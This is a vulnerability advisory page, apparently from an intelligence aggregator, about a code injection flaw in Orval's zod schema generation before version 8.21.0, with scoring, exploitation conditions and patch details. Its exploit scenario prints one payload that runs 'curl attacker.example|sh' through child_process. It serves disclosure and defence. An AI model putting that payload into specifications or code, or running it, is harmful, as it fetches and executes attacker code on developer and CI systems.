EUVD-2026-62657Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Untrusted spec is remotely fetchable and needs no auth or privileges (AV:N/AC:L/PR:N); import during CI/build is routine so UI:N; injected code fully compromises the host process (C/I/A:H, S:U).
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
4DescriptionCVE.org
Orval generates type-safe JavaScript clients in TypeScript from OpenAPI v3 and Swagger v2 specifications. Prior to 8.21.0, a ${...} expression or backtick in a schema default is emitted into a module-level template literal emitted by zod schema generation without safe encoding. This permits attacker-controlled JavaScript to be evaluated when the generated zod schema module is imported, resulting in code execution in the developer, CI, test, or application environment. The affected code is packages/zod/src/index.ts function formatDefaultValue. This issue is fixed in version 8.21.0.
AnalysisAI
Arbitrary code execution in Orval (orval-labs/orval) before 8.21.0 allows an attacker who controls an OpenAPI v3 or Swagger v2 specification to run JavaScript in the developer, CI, test, or application environment that generates or imports the resulting client. The flaw lives in the zod schema generator (packages/zod/src/index.ts, formatDefaultValue), which emits a schema default value containing a ${...} interpolation or backtick into a module-level template literal without safe encoding, so the payload is evaluated the moment the generated module is loaded. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires that (1) the victim uses Orval's zod schema generation, (2) the input OpenAPI v3 or Swagger v2 spec is attacker-controlled or attacker-influenced and contains a schema default value holding a ${...} expression or a backtick, and (3) the generated zod schema module is subsequently imported/loaded (which occurs automatically during typical dev, CI, test, or build/runtime flows). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 4.0 base score is 9.3 (AV:N/AC:L/AT:N/PR:N/UI:N with VC:H/VI:H/VA:H), reflecting full compromise of the machine that generates or imports the client. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker publishes or supplies an OpenAPI spec (for example a public API definition a developer decides to generate a client from) in which a schema property default is set to ${require('child_process').execSync('curl attacker.example|sh')}. When the developer or CI runs Orval to generate the zod client and the generated module is imported during build, test, or runtime, the embedded expression executes with the privileges of that environment. … |
| Remediation | Vendor-released patch: 8.21.0 - upgrade Orval to 8.21.0 or later, which escapes untrusted default/URL/path values via jsesc before they are emitted into template literals (fix in PR https://github.com/orval-labs/orval/pull/3692 and commit 8ef1bfdf3f9bcaf9dabfbe2e42887f1c0e159ab6, advisory https://github.com/orval-labs/orval/security/advisories/GHSA-w727-8j6c-2rj4). … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Identify all systems and projects using Orval and determine the current deployed version; assess whether external, user-supplied, or third-party OpenAPI specifications are processed by affected instances. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
orval (TypeScript API client generator) before 7.18.0 has code injection via OpenAPI specification summary fields in MCP
Orval TypeScript code generator versions 7.19+ have a command injection vulnerability allowing RCE through malicious Ope
Orval, a TypeScript API client generator, has a command injection vulnerability that allows code execution through malic
Code injection in Orval TypeScript API client generator versions 7.19.0 to before 7.22.0. Generated client code may be v
Arbitrary code execution in Orval before 8.21.0 arises when the code generator emits an unescaped backtick (or ${...}) f
Code injection in Orval, a TypeScript/JavaScript API client generator, allows a malicious OpenAPI v3 or Swagger v2 speci
Code execution in Orval before 8.21.0 occurs when its zod schema generator processes an attacker-controlled OpenAPI v3 o
Code injection in Orval before 8.21.0 lets an attacker-controlled OpenAPI v3 / Swagger v2 specification achieve arbitrar
Arbitrary code execution in Orval (OpenAPI/Swagger TypeScript client generator) before 8.21.0 lets an attacker who contr
Code injection in Orval (orval-labs/orval) before 8.21.0 allows an attacker who controls an OpenAPI v3 or Swagger v2 spe
Code injection in Orval, a TypeScript client generator for OpenAPI v3 and Swagger v2 specs, allows arbitrary JavaScript
Code injection in Orval before 8.21.0 lets an attacker-controlled OpenAPI v3 or Swagger v2 specification execute arbitra
Same weakness CWE-94 – Code Injection
View allSame technique Code Injection
View allShare
External POC / Exploit Code
Leaving vuln.today